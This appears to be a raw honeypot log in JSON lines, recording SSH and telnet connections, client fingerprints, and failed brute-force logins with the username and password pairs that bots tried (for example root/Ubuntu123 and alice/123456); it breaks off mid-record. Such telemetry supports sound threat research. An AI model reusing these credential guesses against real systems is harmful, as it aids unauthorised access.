{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:25:55.659638Z","src_ip":"213.230.127.104","session":"65172c14e17e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"extern","password":"extern","message":"login attempt [extern/extern] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:25:56.366688Z","src_ip":"213.230.127.104","session":"65172c14e17e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:25:57.541414Z","src_ip":"213.230.127.104","session":"65172c14e17e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00204944610596,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:25:57.898038Z","src_ip":"186.55.200.230","session":"70a9fd2428a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00687623023987,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:26:03.083865Z","src_ip":"186.55.200.230","session":"f9222dafd065","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.55.200.230","src_port":50106,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb41b53e30c7","protocol":"telnet","message":"New connection: 186.55.200.230:50106 (159.203.135.109:23) [session: cb41b53e30c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:26:04.445280Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.118.22","src_port":39790,"dst_ip":"159.203.135.109","dst_port":22,"session":"042c2ad64836","protocol":"ssh","message":"New connection: 186.233.118.22:39790 (159.203.135.109:22) [session: 042c2ad64836]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:26:12.935951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:26:12.941155Z","src_ip":"186.233.118.22","session":"042c2ad64836","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:26:13.060784Z","src_ip":"186.233.118.22","session":"042c2ad64836","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ubuntu123","message":"login attempt [root/Ubuntu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:26:13.565416Z","src_ip":"186.233.118.22","session":"042c2ad64836","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.55.200.230","src_port":50040,"dst_ip":"159.203.135.109","dst_port":23,"session":"37268a06af35","protocol":"telnet","message":"New connection: 186.55.200.230:50040 (159.203.135.109:23) [session: 37268a06af35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:26:13.593240Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:26:14.688740Z","src_ip":"186.233.118.22","session":"042c2ad64836","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.165.238.2","src_port":50408,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ae92179ee95","protocol":"ssh","message":"New connection: 45.165.238.2:50408 (10.17.0.5:22) [session: 2ae92179ee95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:26:31.595495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:26:31.599833Z","src_ip":"45.165.238.2","session":"2ae92179ee95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:26:31.731068Z","src_ip":"45.165.238.2","session":"2ae92179ee95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yocto","password":"yocto","message":"login attempt [yocto/yocto] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:26:32.288498Z","src_ip":"45.165.238.2","session":"2ae92179ee95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:26:33.423198Z","src_ip":"45.165.238.2","session":"2ae92179ee95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.182.78","src_port":32898,"dst_ip":"159.203.135.109","dst_port":22,"session":"6bbff8f86085","protocol":"ssh","message":"New connection: 160.251.182.78:32898 (159.203.135.109:22) [session: 6bbff8f86085]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:26:43.309559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:26:43.315220Z","src_ip":"160.251.182.78","session":"6bbff8f86085","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:26:43.491105Z","src_ip":"160.251.182.78","session":"6bbff8f86085","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcserver","password":"1234","message":"login attempt [mcserver/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:26:44.225771Z","src_ip":"160.251.182.78","session":"6bbff8f86085","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:26:45.405538Z","src_ip":"160.251.182.78","session":"6bbff8f86085","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"222.107.156.227","src_port":27823,"dst_ip":"10.17.0.5","dst_port":22,"session":"c62dd243a345","protocol":"ssh","message":"New connection: 222.107.156.227:27823 (10.17.0.5:22) [session: c62dd243a345]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:26:55.078187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:26:55.083501Z","src_ip":"222.107.156.227","session":"c62dd243a345","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:26:55.283752Z","src_ip":"222.107.156.227","session":"c62dd243a345","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alice","password":"123456","message":"login attempt [alice/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:26:56.113312Z","src_ip":"222.107.156.227","session":"c62dd243a345","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:26:57.321327Z","src_ip":"222.107.156.227","session":"c62dd243a345","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.246.14.196","src_port":41510,"dst_ip":"159.203.135.109","dst_port":22,"session":"94227dea345f","protocol":"ssh","message":"New connection: 186.246.14.196:41510 (159.203.135.109:22) [session: 94227dea345f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:27:00.373293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:27:00.378690Z","src_ip":"186.246.14.196","session":"94227dea345f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:27:00.551279Z","src_ip":"186.246.14.196","session":"94227dea345f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hzhg@123654","message":"login attempt [root/hzhg@123654] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:27:01.255100Z","src_ip":"186.246.14.196","session":"94227dea345f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:27:02.443177Z","src_ip":"186.246.14.196","session":"94227dea345f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.190.156.8","src_port":60920,"dst_ip":"10.17.0.5","dst_port":22,"session":"1428aa4fd0f7","protocol":"ssh","message":"New connection: 89.190.156.8:60920 (10.17.0.5:22) [session: 1428aa4fd0f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:27:03.123318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:27:03.129453Z","src_ip":"89.190.156.8","session":"1428aa4fd0f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:27:03.217063Z","src_ip":"89.190.156.8","session":"1428aa4fd0f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456@Aa","message":"login attempt [root/123456@Aa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:27:03.606696Z","src_ip":"89.190.156.8","session":"1428aa4fd0f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":50708,"dst_ip":"10.17.0.5","dst_port":22,"session":"1533761becd6","protocol":"ssh","message":"New connection: 20.203.42.204:50708 (10.17.0.5:22) [session: 1533761becd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:27:03.799294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:27:03.808249Z","src_ip":"20.203.42.204","session":"1533761becd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:27:03.976945Z","src_ip":"20.203.42.204","session":"1533761becd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:27:04.685307Z","src_ip":"20.203.42.204","session":"1533761becd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:27:04.699291Z","src_ip":"89.190.156.8","session":"1428aa4fd0f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:27:05.858916Z","src_ip":"20.203.42.204","session":"1533761becd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":44472,"dst_ip":"159.203.135.109","dst_port":22,"session":"7bfcf8998515","protocol":"ssh","message":"New connection: 87.251.79.125:44472 (159.203.135.109:22) [session: 7bfcf8998515]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:27:20.363490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:27:20.369346Z","src_ip":"87.251.79.125","session":"7bfcf8998515","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-